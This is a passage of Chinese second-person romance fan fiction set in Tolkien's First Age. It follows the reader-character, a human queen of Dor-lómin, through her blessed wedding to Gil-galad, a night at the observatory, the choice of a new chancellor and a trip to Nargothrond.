而那位“极少数的宾客”正是格洛芬德尔,他从你进入殿堂的那一刻开始,目光就未曾从你身上离开过,无论是你穿过殿堂走到吉尔-加拉德面前为他擦拭眼泪,抑或是你安静地听着芬罗德宣读婚礼的开场白,又或者是最后你在宣读誓言时停顿的那几秒,他始终静静地凝望着你。 你在犹豫,他读出了这一层意思,可是即便知道你的犹豫,他又能做些什么呢?难道他要为此而破坏你的婚礼吗? 而且他深知你的每一个决定都是经过深思熟虑的,因此你与吉尔-加拉德的婚姻也是你经过多方考虑后的决定。 他所能做的只是在内心祈祷,你能拥有幸福,以及你与他的婚姻能够受到众维拉的祝福。 宣读誓词完毕,接下来就是接受维拉的祝福,根据精灵的传统,在举办婚礼时放置在婚礼中央台面上的银盘内会装有浅浅一层的水,那并非普通的水,因为倘若这场婚姻是受到祝福的,尤其是受到维拉的祝福的,那么这一层水就会在誓词宣读完毕后泛起美丽动人的皎洁光辉。 此时此刻,大家的注意力都集中在殿堂中央的银盘上,原本热闹的婚礼现场瞬间变得无比安静,大家都在关注这那一层水的颜色变化。 吉尔-加拉德握住你的手不自觉地收紧,你从他这小动作里读出他内心的忐忑不安。 你安抚似的拍了拍他的手背,又对着他笑了下。 “银盘里的水变成了银白色——”不知是谁先发现的,立马说的这么一句。 站在你身边的吉尔-加拉德顿时松了一口气,与之形成鲜明对比的是从始至终都面色如常的你,因为在你看来,维拉总不可能这么不给面子,而且就算你的这份婚姻确实存在一部分的利用,但也不可否认你对吉尔-加拉德有着一点喜欢。 只是你与他的喜欢并不对等,他对你的喜爱是毫无保留的,是真诚而热忱的,甚至也是不求回报的,你得承认这样的喜爱就算是你也无法拒绝。 “太好了,我们的婚姻是受到维拉的祝福的。”他的声音里满是欢呼雀跃。 你顺着他的意思说:“是啊,真好。” 原本安静的殿堂又瞬间被欢声笑语填满,这场婚礼进行得无比顺利,唯一让你有些头疼的大概就是接连不断的宴会了吧,毕竟无论是多尔罗民还是那纳国斯隆德都很重视这场婚礼,大摆宴席是意料之中的。 这场婚礼带来的宴会持续了将近半个月才热度消退,但你和吉尔-加拉德的故事,因此传遍整个大陆,你甚至还听说不少人类和精灵为此编写了各式各样的歌谣,广为流传。 其中一首流传度最高的歌谣甚至还传入多尔罗明的宫殿内,你是从某个侍女嘴里听到的,那曲调悠扬婉转,而且旋律很简单,因此,听过的人只要听个一两遍,基本上都能哼唱那么一小段。 连你都听过这首歌谣,更别提吉尔-加拉德了,在某天晚上,你还在书房里处理公务的时候他敲了敲门,听你应了一声才进门,然后坐在你身边的椅子上,那是他的专属座位,与你现在坐的椅子是成双成对的一套。 你还在苦恼新宰相的人选,上一任宰相科尔已经主动卸任回家养老去了,当然,这只是明面上的理由,至于他为什么主动卸任,真正原因恐怕就只有你知道了。 摆在你面前的是十几份新宰相候选人的个人资料,其实你都已经看过一遍,不,不止一遍,少说也有个五六遍了,但现在的问题就是,手头优秀的人太多,你都挑花了眼。 算了,这种事情也急不来的,你打算在明天的议会上着重商讨这件事。 想着,你把这些资料又都收起来,理得整整齐齐的放在一边。 和这件事情一对比,其他剩下的公务基本上都是些琐碎小事,你现在处理公务越发得心应手,这些小事情数量再多,也架不住你效率高,不一会的功夫你总算是把今天的公务全都处理完了。 “今天的工作已经结束了吗?”吉尔-加拉德问道。 你低头翻看今天的日程表,又在脑海里回忆了一遍,似乎是全都已经结束了,你往窗外瞧一眼,就知道现在时间不早了。 “差不多是结束了……”你这才转过头去看他,他一边为你整理书桌,一边轻轻的哼着熟悉的曲调,你说,“这曲子听起来真耳熟,我好像也听别人唱起过。” “嗯,而且这首歌还很特殊,尤其是对于我们而言。”吉尔-加拉德从这里就开始暗示你了,你只是思索了几秒就得出正确答案:“那是关于我们的爱情的歌谣吗?” 在这片大陆上人类和精灵的娱乐方式都很有限,最主要的娱乐方式大概就是写诗,写歌,然后在舞会上唱歌跳舞吧,而且歌又需要新鲜素材,你和吉尔-加拉德就成了他们现有的素材。 “是啊,我猜你肯定也听到过,只是你一时之间没想起来而已。”他笃定地说。 你确实听到过,而且因为旋律简单,你才听了一遍就能哼唱出来了。 “既然你的工作已经结束了,那接下来的时间你就好好休息吧。” 虽然他嘴上是这么说的,但你能猜到他心里肯定不是这么想的,毕竟他可是新婚当天晚上还能和你聊一个通宵的恋人。 你单手托腮,仰起头看向站在书桌边的精灵恋人,“你说的是真话吗?还是半真半假的呢?” 他想了一下,“都有。” “唉,那你这不是自相矛盾吗?好吧,让我来猜猜看,你刚才说的那番话是真假参半的,对吗?” “我好像没有什么谎言能瞒得过你。”他默认你刚才说的话是正确的。 “我希望你能好好休息,但是我有希望你能分出一部分时间给我。”说着说着,他的声音逐渐变得微弱,最后又突然冒出一句,“我这样会不会太贪心了呢?” “不会,而且既然我们现在结为伴侣,那么我也不应该忽视你的情感需求。”毕竟你还指望着以 后那纳国斯隆德能够长久的支持多尔罗明呢,所以首先你就要拿出让对方满意的态度。 除了政治方面的考虑,你也有些受不了这位精灵安静地坐在你身边,眼睛一眨不眨地盯着你看,那样子怪可怜的,你把自己仅有不多的同情心都用在了他身上。 “现在天色已晚,你还想去哪里看看吗?虽然不能像白天一样四处散步,但是夜晚也有夜晚的好处,比如说很安静,不会有人来打扰我们。”说着,你站起身,绕到吉尔-加拉德身边。 那位精灵头上戴着与你一对的头冠,这是他的父亲为你们打造的,和芬罗德打造的那一对相比较,前者就更加轻盈日常,但是就质地而言,丝毫不输后者。 你在婚礼结束以后的日子里,每天都戴着这一顶头冠,吉尔-加拉德也非常有默契地佩戴同一对头冠。 “去观星台看看吧,那前不久刚刚修缮过,听说规模又扩大了一些,尤其是观星台的顶端。” 关于观星台的修缮和扩建都是在你的授意之下进行的,因为你当初与吉尔-加拉德在图尔巩的领地内相处的那一段时间里你就有了解到他对观星的喜爱,这其实也不难理解,因为从他名字的含义就能知道他与星辰的关系密不可分。 在离开书房的时候吉尔-加拉德还在估算你们去观星台要花费的时间,虽然他希望你能多关注他一点,但是他也不希望因此影响到你的休息。 从书房里出来,穿过门外的长廊,你看了一眼夜空,今天晚上的天气不错,夜空中都没有什么浓重的雾气,是一个非常适合观星的夜晚。 在去往观星台的路上,吉尔-加拉德轻轻地哼唱着那首关于你们的歌谣,精灵的歌声总是婉转动听的,你听了一两遍,后面就索性跟着一起唱出声。 “他们跨越生死与艰险,无视世俗与困难,一往无前地选择真爱。” “纳国斯隆德永不凋谢的石榴花,多尔罗明高耸入云手可摘星的观星台。” 唱着唱着,你就觉得有些歌词实在是太夸张了,简直可以用肉麻来形容,因此,你唱到一半就没了声音,这反而引来吉尔-加拉德不解的目光,他对着你歪了歪脑袋。 你诚实地回答:“这些歌词太肉麻了,而且也太夸张了。”你可不觉得自己在这段恋情里遇到了什么麻烦,可能最大的麻烦来自上一任宰相科尔吧,除此之外,无论是人类还是精灵在得知你们的恋情后,大部分都表示支持。 “我们好像也没有那么多的困难要克服,你说有吗?” 吉尔-加拉德沉默片刻,他说:“因为你很勇敢。”毫不夸张地说,你是他见过最勇敢的人类了,你就如同一团火焰,虽然短暂,但是迸发出的光辉却吸引得旁人不由自主地想向你靠近。 在他的描述中,你总是呈正面形象,哪怕是在上一个周目里,以他的聪明才智不可能没猜到你对你的双亲还有你的弟弟做了什么。 可即便如此,他也没有选择放弃又或者是为了所谓的正义而讨伐你。无论什么时候,他都是选择站在你这一边的。 “勇敢吗……或许在他人看来,我这是不顾一切后果的鲁莽自私而已。” “请不要用他人的看法惩罚自己,也不要用这种说法的压低自己。”哪怕只是你嘴上那么说说而已,他都十分在意,难怪你还听说在科尔卸任之前,吉尔-加拉德还特意去找过他,为了就是让他为以前对你说的那些无礼话语道歉。 但凡是其他人说一句你的坏话,他反而比你更加激动,还会跳出来为你解释一番。 所以不管怎么看,你都觉得与吉尔-加拉德的恋情也好,婚姻也好,都是一桩你受益的交易。 现在也是这样,“你能告诉我是谁对你说过这样的话吗?” “这个嘛,我就记不清了。” 你的记性怎么会那么差呢,你那么说单纯是不希望他再去找其他人麻烦而已,因为那些反对你的人早就都被你收拾过一遍,根本轮不到他来教训他们。 因为比起让其他人替你出气,你还是更喜欢自己亲自动手,这样会更加解气。 你们一边聊天,一边朝着观星台走去,吉尔-加拉德现在算是半定居在多尔罗明了,平常他会通过书信与远在纳国斯隆德的父亲还有芬罗德通信,因为精灵的生命漫长得毫无尽头,所以他们很少改变自己的居住地,基本上是在哪里出生的,就会选择在出生地生活千百年。 当然,他们中途也会离开居住地去往其他地方,但主要是出于任务又或者是游历的兴趣爱好,总的来说,精灵都是恋家的。 这就使得吉尔-加拉德在与你成婚后直接在多尔罗明定居,这一举动与其他精灵亲族显得格格不入,不过光是看他的恋人是一位人类,这一点就能看出他的与众不同。 而且,就连多尔罗明的人类,带着你的双亲都对这位精灵主动留在这里表示惊讶,他们也曾询问过吉尔-加拉德是否思念家乡,但得到的回复是:我对家乡的思念不及我对她的爱,我想我会一直停留在这里,直到—— 即便他最后半句话没有说出口,但你的双亲还是猜到了,他想说什么。 他想说:直到你的生命迎来终结,他才会离开多尔罗明,但精灵对多尔罗明的保护却不会因为你的死亡而终止。 因为吉尔-加拉德对你立下誓言,“直到我死去,我的躯体归于湮灭,我的灵魂回到曼督斯的殿堂,在此之前,我都会以我的生命保护她深爱着的国度。” 这可不是你强行要求他说的,而是他自发立下的誓言。 言归正传,吉尔-加拉德把他与父亲的通信内容毫无保留的告诉你,他说:“也不知道你什么时候能有空,可以陪我回一趟纳国斯隆德。” “等到新宰相的人选确定下来。”确定了宰相以后,哪怕你有一段时间不在多尔罗明这里也不会乱套,宰相会代替你管理这个国家。 话语间你们来到了观星台入口,入口处的侍卫见到你和吉尔-加拉德动作自然地对着你们行礼,这座观星台的前身其实是一座高塔,而且还是多尔罗明境内最高的建筑物,听说是在你的祖父哈多年幼时修建而成的,所以少说也有几十年的历史了。 观星台的修缮和扩建的部分主要集中在顶部,你们从入口往里面走绕着一圈又一圈的旋转阶梯往上走去。 这个高塔内部构造倒是和魔苟斯领地内的高塔很像,这其实也不奇怪,因为魔苟斯曾经在维林诺待过一段时间,而且为了减轻维拉之首曼威对他的怀疑,他甚至不惜花费百年时间帮助维林诺修建建筑物。 而人类的建筑知识很多都是由精灵传授的,所以两者之间确实会存在些许相同之处。 高塔之内回荡着你和吉尔-加拉德的脚步声,那声音此起彼伏,相互交叠。 走到最后一级通往天台的阶梯,你先一步走到天台上,吉尔-加拉德紧随其后。 在天台中央的台子上还竖立着一面镜子,当然,这绝对不是一面普通的镜子,透过这面镜子,你们能够更加清晰地看见夜空中的星辰排列。 你走到观星台的边缘,从这里望出去,仿佛伸出 手,真的能够摘下星辰,你说:“其实,那首歌谣里的有些歌词也不是那么夸张。” “比如说?”吉尔-加拉德还记得你刚才说这歌谣的歌词夸大事实呢?。 “比如说——多尔罗确实有高耸入云手可摘星的高塔。”话语间,你对着夜空伸出手,镶嵌在夜空中的星辰,从你的指缝间漏走。 “那等你到了纳国斯隆德,就会发现另外一句歌词说的也是事实。”他还在孜孜不倦地劝说你去纳国斯隆德做客。 你有意无意地跳过这个话题,换了一个新的话题,你说:“但话又说回来,在我看来,这夜空中的星辰也没有世人描述的那么美丽。” 此时此刻的吉尔-加拉德还没有意识到你接下来会说什么,他顺着你的话题往下说:“这不美丽吗?” “美丽与否本身就是一件仁者见仁智者见智的事情,如果硬要我给出一个答案的话,我会说这世间最美的星辰,并非点缀在遥不可及的夜空中,他近在眼前。” 话音落下,你的目光也落在吉尔-加拉德身上,聪明的精灵一下子就明白了你的意思,因为他的名字在精灵语中的含义就是星辰。 “我……”他小声地说,“你刚才还说那首歌谣的歌词夸张,我看这是远不及你刚才说的那番话。” 你微微睁大眼睛,“可我说的都是真心话,这又怎么会和夸张沾边呢?而且夸奖自己的爱人有什么错呢?真要说是什么?使我改变对夜空中星辰的评价,那大概就是源于爱吧,爱是最美好的装饰品。” 作为从小就和精灵生活在一起的人类,你也学到了很多和精灵打交道的技巧,比如说必要时刻要说一些直白又打动人心的话,真诚往往是最令人难以抗拒的。 “你该不会从一开始和我说去观星台的时候就想好了这段话吧?” “那倒没有,是在这之前很久很久之前就想到了这番话。” 一向温和的吉尔-加拉德忽然就变得刨根问底起来,他问:“很久很久之前又是多久之前呢?我需要一个确切的回答。” “好吧……”你移开视线,看似认真思索,实际上则是在组织最合适的答案,“那就是在图尔巩殿下宫殿的藏书室内想到的。” 对于人类来说,那确实是很久以前的事情了,但是在精灵看来那更像是昨天才发生的事情。 吉尔-加拉德缓慢地眨了一下眼睛,过了好几秒才说:“那你未免也伪装的太好了。” 第55章 第55章“这次也是教导吗?”…… 最后还是吉尔-加拉德主动提出要早些回去,精灵就算是熬夜通宵也没什么影响,但人类就不一样了,他比你还要关心你的身体,尤其是在听说你当初在埃欧尔的森林里生的那一场大病后,他合理怀疑那是你先天的病根没有彻底除去,但这也没办法,你从小就病弱,哪怕在精灵的领地内养病也只能确保你的身体素质不会像以前那么差劲,仅此而已。 任何其他因素都可能成为你生病的诱因,所以吉尔-加拉德在来多尔罗明之前就特意找父亲还有纳国斯隆德的精灵医师系统学习了医术,实际上在他从图尔巩的领地回来后他就有意无意地向其他精灵学习医术,为了保险起见,他在定居多尔罗明以后还带了几位精通医术的下属以防意外情况的发生。 “确定不再多待一会吗?”你说,你觉得你们才来这里没多久吧? 吉尔-加拉德却说:“你都已经拥有我这颗星辰了怎么还要去眺望远方的星辰呢?” 他学得很快,把你刚才说的话换了个说法又还给你,但你看得出来他说这番话也只是因为担心会占用你的休息时间。 转身走向阶梯,你没回头,但是胳膊向后头伸去手掌张合,你的恋人也顺势握住你的手,你们并肩行走在一圈又一圈的石阶上,脚步出奇的一致,迈步子的动作同步率百分百。 等回到房间,你先去洗漱,侍女已经为你们准备好了热水和换洗衣物,你走到浴室以后又想起了,折返回到卧室,吉尔-加拉德看到你的动作就知道你要做什么,他说:“泡澡的时候就不要看书了吧。” 毕竟你可是看书看过头然后泡澡泡得晕乎乎的前科的人,没成想你拿的不是书而是一叠羊皮纸。 好吧,你不是看书,而是要看文件。 吉尔-加拉德皱起眉,“文件也算在内。” “那我总得看点什么吧?不然时间那不是白白浪费了吗?”你总不可能在泡澡的时候打坐吧? 闻言,吉尔-加拉德不自然地移开视线,“那你可以看我——” 这个回答不太妥当,他刚想收回这话,然而你却干脆利落地回答:“可以啊,那就一起来吧,正好热水应该也够。” “什么……” 你的手里还拿着羊皮纸,“如果你一起来的话,我兴许就不会看这些枯燥的文件了。” 你的精灵恋人什么都好,就是太青涩,无论做什么都需要你的引导,无论是这件事还是别的事情,但他也有珍贵的优点,比如说擅长反思,你曾见过他靠着你的腿,棕褐色的长发如同丝绸般散开,尽管他的呼吸因为你的教导变得不规律,但还是认真地询问自己是否还有改进的地方。 吉尔-加拉德低垂眼帘,这让你看不清他的眼神,他的声音轻飘飘的,“这次也是教导吗?” 把手里的羊皮纸放下,你走到他面前,“那就得看你是怎么想的了,在我看来只是一次普通的泡澡而已。” 他想起来你上次也是这么说的,什么“普通的尝试”之类的。 “再不走的话水就要凉了,当然,你如果不愿意也没关系。”在你就要离开的时候他又突然抓住你的衣袖,“不……我没有不愿意。” 等他抬起头,撞入你笑盈盈的湛蓝双眸里,你对他做了个请的手势,吉尔-加拉德这才起身,你们一前一后走入浴室,里面雾气弥漫,你动作自然地盘起头发,褪去外衣一步一步地走到里面,让温暖的洗澡水漫过你的身躯,本来水位差不多在你的肩膀那里,等他入水以后水位直接涨到你的脖颈。 你瞧见吉尔-加拉德把一个又一个的小巧木雕放在水面上,你仔细一看,那都是各类船只的木雕,你半开玩笑地说:“那我们这里岂不是变成港口了?” “这不是普通的船只,而是战舰。” 其中一只战舰随着水流飘到你的肩膀旁边,你随手拿起它,“看来我缴获了一艘你的战舰,你可得小心一点了。” “玩法不是这样的。”吉尔-加拉德一本正经道,还主动给你介绍起这个游戏的规则,其实就是模拟海战,谁先将对方的战舰全部击沉那么谁获胜。 “不压点赌注吗?” “这只是个游戏而已,而且你知道的,每次玩游戏你都是赢的那一个。”他说的都是事实,因为你实在是太狡猾了,而且还很擅长挖掘游戏规则的漏洞,他早已学乖不会和你打赌,但他的理智上是这么想的,可感性告诉他不该那么做,尤其是在看到你失落的神色时,他就又改了口,“那你想要赌什么呢?” 他不明白自己还有什么能够给你的,他早已完全属于你,你歪着脑袋思考片刻,你的脸颊被从水面下源源不断冒出来的热气蒸得红彤彤的,“这个我还没有想好,还是先开始比赛吧。” 话音落下,你们将战舰木雕均分,然后调整战舰漂浮的位置,等你们都准备好了,比赛也随之开始,这游戏对力道的控制要求很高,因为如果用力过度那就会直接导致自己这边的船只全都掀翻,还没等攻击对方呢,自己就先输了,所以你小心翼翼地控制力道,将其控制在可以影响对方的船只又不至于掀翻自己的战舰。 你们两方都那么小心翼翼的,战舰在你们的控制之下终于碰面了,你加大力度,顺利掀翻他的船只,你的唇角不由地上扬,玩到后面,吉尔-加拉德节节败退,你都要怀疑他是不是没认真玩游戏,你忍不住问道:“你就不攻击我吗?” “但那是你的战舰,我不忍心攻击。” 他的回答让你顿了几秒,“这份心软会让你一败涂地。” “但如果是输给你,那我 心甘情愿。” 还没等他的话音消散,你就把他最后一只战舰击沉,你说:“好吧,现在你真的输了。”你把那些个木雕船只都捞起来放在旁边,整整齐齐地排列成一列又一列的,水面因为你的动作泛出一圈又一圈的涟漪,吉尔-加拉德还在等待你说赌注是什么。 但是等了半天,他都没等来你的下一句话,因此他忍不住开口,“你是不是……还忘了什么?” “什么?” “赌注的事情。” “噢……你说赌注啊。”你的脸上浮现狡黠的笑容,“那你待会就帮我烘干头发吧,这就是我说的赌注了。” 年轻的精灵还不知道如何掩饰自己的内心,尤其是在爱人面前,他的内心活动你一览无遗,你说:“怎么,你好像还有些失望吗?” 你一边说着一边向他靠近,带起一阵水流,你伸出手,他也丝毫没有要躲的意思,任由你的手指在他的发间找到发带打的结,然后捻着一角抽走那条发带,他的长发也随之滑落,浸入水中。 “你把我的头发弄湿了。” 你满不在乎地说:“那你也可以报复回来啊。” 当然最后他并没有报复你,而是服务周到地为你清洗头发,你们俩离开浴室的时候发梢都还在滴水,滴滴答答的,好在卧室里的壁炉烧得正旺,你走到壁炉旁边盘腿坐下,吉尔-加拉德又多拿了两条毛巾过来,细细地擦拭你的头发,后来你嫌炉火太热,就又让他把窗子再打开一些,好让空气流通。 当天晚上就在这样安静祥和的气氛中度过,隔天起来又是工作的一天,而且你今天还得要主持议会,希望能在会议上讨论出合适的宰相人选。 从一大清早开始你还有你身边的侍女都忙碌个不停,你几乎都没空吃早餐,大大小小的事情一件接着一件向你涌来,趁着早上的时候议员还没到齐,你把一些不太重要的公文给批阅了。 但那些议员来得都比你想的要早,很快地,议员们都到齐了,你也不能让她们久等,就又步履匆匆地走向会议室,举行会议的地方是一间隐蔽性很好的小密室,因为这场会议实际上也是秘密进行的,那些议员都是你精挑细选出来的,你们会在这里讨论重要的事情,在初步得出结果以后才会通知宫廷内的其他人,因此你也听说有的议员将其称之为密会。 这概括得很精炼形象,没错,这就是一个密会。 啪嗒啪嗒—— 你脚下踩着的皮靴在密室门口停下,里面的人主动为你开门,然后微微俯身行礼,“陛下,欢迎您的到来。” 你也对着她微微点头,旋即走入密室内,其他议员纷纷起身对你行礼,你在主位坐下,“今天最重要的事情就是选出一位新的宰相。” “我们之前将宰相的合适人选都整理出来给您过目了,不知陛下您是否有心仪人选了呢?” “总的来说都很适合,但有时候细微的差别很可能会引起巨大的改变。”就如同蝴蝶效应那样,你最满意的人选就是平民出身的安娜,但是另外一位贵族出身的候选人也资质优秀。 在场的其他议员都你一言我一语地发表自己的看法,这场会议持续了很久,大约从早上一直开到下午时分,期间你们都忘了午餐的事情,最后得出的方案就是推选安娜成为下一任宰相,继任仪式不日后举行。 等到散会了,你才意识到自己还没有用过午餐,不过你现在也不怎么饿,吉尔-加拉德很关注你的一日三餐,其实在午餐时分他就在想是否要给你去送餐,但是密室的门紧闭,这意味着你们还没有结束会议,他也不能贸然打断你和议员的对话,因此他只能在外面耐心等待,他是个有耐心的精灵。 见到从会议室里出来的你,吉尔-加拉德迎了上来,他说:“厨房准备的午餐都凉了。” “正好我也不是很饿。” “不,你需要进食,不要以为我不知道你今天早上都没吃什么早餐就急匆匆地赶往会议室,你不能这么苛待自己的身体。”吉尔-加拉德越说越严肃,你好笑地伸出手触碰他的眉心,“你说的道理我都明白,不要再皱眉了。” 被你这么一说他才感知到自己又在无意识皱眉了,他叹了一口气,“那要来一些点心吗?我已经学会你最喜欢的那一款点心了。”他的话语里透露出几分骄傲。 “你要现做吗?该不会很浪费时间吧?” “那倒没有,走吧,现在就去厨房看看。” 你们来到厨房,原本在里头忙活的侍女都被你临时放假去别处休息了,整个厨房里只剩下你和吉尔-加拉德,只见他有条不紊地从柜子里取出面粉,得要先从和面这一步开始,你在旁边拿起几颗新鲜水果往嘴里送。 “啊……”吉尔-加拉德双手满是面糊的时候忽然想起自己还没有穿围裙,他迫不得已向你求助,“你能帮我系上围裙吗?” “我真的有点怀疑你说的‘学会做点心’的真实度了。”你一面这么说着,一面带着旁边的围裙走到吉尔-加拉德身边,然后把围裙往他身上一戴,在他背后打了个漂亮的蝴蝶结。 “这是毋庸置疑的,我刚才只是疏忽大意而已,你要为此而怀疑我吗?”吉尔-加拉德手上黏糊糊的面粉总算是逐渐成型,你注视着他的侧影,他揉面的动作逐渐慢下来,接着你又听见他小声地说:“如果你一直盯着我看的话,我可能会发挥失常的。” 你轻笑一声,“好吧,那我就不看你了。” 说着你在厨房的其他地方绕圈子,等了一会,等到面团都揉好了,接下来就是包入馅料的步骤,再然后就是烘烤,最麻烦的就是揉面这一步了,等过了这一步,剩下的就很简单,不过从始至终你需要做的都是坐在旁边吃点水果放松休息。 再过一会,你就隐约嗅到了从火炉里飘出来的香味,那是混杂着黄油还有其他水果的综合香味。 第56章 第56章你似乎看到了传言是怎么…… 吉尔-加拉德的声音传到你耳边,“应该差不多好了。”说着,他从火炉里取出那一盘热气腾腾的点心,在你的印象里这些点心都是圆乎乎的,但是他在制作的时候添加了一些自己的小巧思,外形各种各样,蝴蝶,鸟雀,还有玫瑰花。 用餐刀中间对半切开,里面的馅料是熬制的果酱,味道清甜不会觉得太腻,你搭配茶水吃下一整块点心,在此期间吉尔-加拉德都没说话打扰你,让你静静地享用这份午餐外加下午茶。 等你吃完他还问:“需要再来一份吗?” 你用餐巾擦拭唇角,“不用了。” 下午你还需要阅读周边各国送来的信件,不光是信件,有些人亦或是精灵还会送来各种礼物,也不是什么节日礼物,就是单纯地想要送你东西,其中要数阿瑞蒂尔和伊缀尔送得最多,她们几乎看到什么好东西都想着送你一份,有时候她们要是没经过商量就会导致送两件一模一样的礼物给你,这种事也时有发生。 除此之外还有其他精灵送来的礼物,凯勒巩送的礼物也不少,因为在魔苟斯消失后他有事没事就往阿瑞蒂尔那里跑,说好听点是做客,他瞧见阿瑞蒂尔给你寄送礼物他也会不甘示弱地送一些礼物,也不知道他这胜负心到底是怎么冒出来的。 而凯勒巩 送的礼物就和阿瑞蒂尔的风格截然不同了,他热爱打猎,上次还送来一头棕熊的皮毛,那张皮毛展开后比你的办公桌还要大,足以看出这只棕熊生前的体型有多庞大,但棕熊的皮草摸上去很扎手,最后你只能把它放进储物室里任由它吃灰。 相较之下,他的那两位哥哥送的东西就正常多了,玛格洛尔也不知道从哪里听说你的身体不好,特意送来名贵药材,说是那上面还有维拉的祝福,你心说维拉的祝福难道是什么烂大街的时尚单品吗,你收到的礼物里一大半都是有维拉的祝福,当然也只是送礼的人说这是被祝福过的。 那些药材确实药效惊人,一开始吉尔-加拉德没把控好药材的量,以至于你喝了几口药水没过一会就开始流鼻血,你那遥远的上辈子记忆告诉你这是补过头了,但你的爱人可不知道这个道理,吓得他赶忙擦去你的鼻血,差点要给你来一套从头到脚的医疗检查,可你却淡定地握住他的手,告诉他你没事。 在那之后吉尔-加拉德对玛格洛尔送来的药材都心存警惕,恨不得把他送来的礼物都仔细排查一遍。 每天的午后都是你读信的时候,你坐在书房的窗边一封一封地看过去,但回信你不可能都亲自回信,你会找吉尔-加拉德来替你代笔,往往到那时候就是你坐在旁边说回信的内容,然后他一边听一边把你说的话都写下来,最后再递给你检查一遍,确认无误后就把信纸折叠以后塞到信封里,再给信封封口。 读到格洛芬德尔的信件时吉尔-加拉德的脸色都会很微妙,因为他清楚地知道这位精灵对你的感情,他似是无意地说:“他怎么又写信来了?” “嗯……他说图尔巩殿下很可能会举行秋日宴会庆祝今年的丰收。”你扫了一眼格洛芬德尔的信,立刻提取出关键词,吉尔-加拉德有些着急地说:“纳国斯隆德那里每年也都会举办丰收宴会的。” 他都快直接告诉你“比起去图尔巩那里还是去纳国斯隆德比较好”了,你没有抬起头,还在继续看信,“我暂时也不会去那里的,你放心吧。” 吉尔-加拉德又补充道:“我也没有对你不放心……”他只是对其他精灵不放心而已,无论如何他都不会怀疑你的。 话是这么说的,但他还是很诚实地把格洛芬德尔的信纸从你手中抽走,上半身又向你靠近,轻柔地亲吻你的侧脸,“所以你真的不会去他那里对吗?” 你忍不住笑出声,“我的星星,我可以保证我不会去的。” 在你们结婚以后你调侃他的称呼就从星星王子变成了简单的星星,相较之下吉尔-加拉德更喜欢后者,那听上去更加亲昵一些。 你也说到做到,在处理完手头的事情,并且结束新一任宰相的上任仪式后没多久你就和吉尔-加拉德启程从多尔罗明去往纳国斯隆德,这次的旅程他已经念叨了许久,但到了真正实现的那一天他又显得那么平静,在你看来都有些平静过了头。 你们这次出游没有大张旗鼓,一切从简,只有一少部分人知道多尔罗明的君主离开了王城,从多尔罗明到纳国斯隆德,只凭骑马少说也要大半个月,不过现在魔苟斯已经消失,他的那些爪牙也在精灵和人类的围剿下清理大半,就算还残留了一小部分的黑暗生物,那也都不成气候,不足为惧。 因此这段时间的贝烈瑞安德可以用太平来形容,再加上你提出加强精灵与人类的合作,互通有无,密切贸易往来,人类的生活水平也以肉眼可见的速度得到提高,这从你们一路走来路过的好几个生机勃勃的村庄也能看得出来。 要走大半个月的路程你们偶尔也会在村民家里暂住个一晚,等隔天早上临走的时候在床头留下一枚金币当做住宿费,这样的生活持续了将近一个月,起先吉尔-加拉德还担心你会不习惯这种风餐露宿的生活,某天晚上你们在村民家里过夜的时候对方给的油灯被风吹灭,在这之后就再也点不着了。 你拉住正要往外走去的吉尔-加拉德,他还想着找这房子的主人换一个油灯,却不想被你阻止了,你说:“女主人刚刚哄孩子入睡,再把他们吵醒也不好。” 你观察得比他细致多了,但他还是愧疚地说:“我没想到去往纳国斯隆德会让你住在这里过夜,而且连一盏能亮的油灯都没有。” “什么啊,你是在因为这个而失落吗?但这比起我以前赶路的经历可好太多了。”你说,你们刚才还借用了主人家的浴室,身上残留着自然洗浴剂的香味。 听完你说的这些话,吉尔-加拉德又坐回到床边,你们留宿的人家不算太富裕,你们现在所在的这个房间的床铺对你们两个来说还有些狭窄,因此当天晚上你们是相拥而眠的,缺点就是隔天早上醒来你们俩的头发有几缕都缠绕到了一块,你一起身就感觉到头皮传来的撕扯感。 “等一下,我们的头发好像缠绕到一块去了。”吉尔-加拉德伸出手试图理清头发,但是效率太慢了,你索性找出匕首,说:“干脆削去那一截缠绕在一起的头发就好了。” 说着,你的动作干脆利落地削去那一截头发,你一身轻松地站起来,吉尔-加拉德出奇的沉默,你好奇地回过头,发现他把那一缕缠绕着的头发珍贵地捧在手里。 “这个……你不打算丢掉吗?”你略带疑惑地问道。 “我不想丢掉。”他何止是没有丢掉,甚至于后来还专门把这一缕交缠的头发保存在盒子里,你若有所思,因为精灵也多多少少会一些魔法,有的魔法没准就是需要通过头发施展的,因此你好奇地问道:“你是要用这个来施展魔法吗?” 吉尔-加拉德因为你丰富的想象力而笑了起来,他说:“可我又需要对你使用什么魔法呢?爱是最强大的魔法。” 嗯……这话好像是巫师经常说的。 你们换好衣服,照例在床头放一枚金币作为答谢,然后背着包下楼,对着远方吹一声口哨,在这附近喝水吃草的马匹听到那口哨声就朝你们这里跑来。 “早上好啊洛丝,看样子你也吃饱喝足了是吗?那我们就继续上路吧?” 话音落下,你一个翻身坐在马背上,手里牵着缰绳,调转方向朝着南方继续出发,等来到纳国斯隆德时,你们受到了热烈欢迎,这里的君主芬罗德亲自接待你们,你对芬罗德说:“抱歉我以这样风尘仆仆的样子与您见面。” 芬罗德丝毫不介意,“无论如何你都是纳国斯隆德的客人,就算现在一副风尘仆仆的样子那也同样是我们的贵宾。” 吉尔-加拉德也对芬罗德说:“希望我们应该没有错过这里的丰收宴会吧?” “没有,今年的丰收宴会还在准备中呢,要我说你们来得刚刚好。” 你们在芬罗德的指引下走入纳国斯隆德的王城,一路上你们看到不少正在准备丰收宴会的精灵,他们看到你的反应出奇的一致,眼里盛着的都是好奇,因为他们只听说过吉尔-加拉德殿下与人类君主成婚,但真正见过你的精灵并不多,他们听过许多关于你的故事,今天还是第一次亲眼见到你。 因此在后来的下午茶时就有许多精灵打着送点心的由头实际上是来凑热闹外加看看你到底是一位怎样的人类君主。 在某位精灵送来另外一碟重复的水果以后芬罗德都看不下去了,他浅笑着说:“我们这里的水果种类已经足够丰富的了。”闻言,那个送水果的精灵脸颊通红,小心翼翼地向芬罗德道歉,芬罗德对着她摇摇头,“没事,你先下去吧。” 她在走的时候还不忘回过头再看你一眼,等她走后芬罗德主动向你道歉,“抱歉,如果他们的表现冒犯到你了我先向你说一句对不起。” “没有冒犯,这里的精灵都很温和友善,而且这也是我的恋人的故乡,无论怎么看我都很喜欢这里。”你有意无意地提到坐在身边的吉尔-加拉德,后者笑容灿烂,“正如同我也非常喜欢多尔罗明一样。” 你和他相视一笑,“没错,这是一样的感受。” 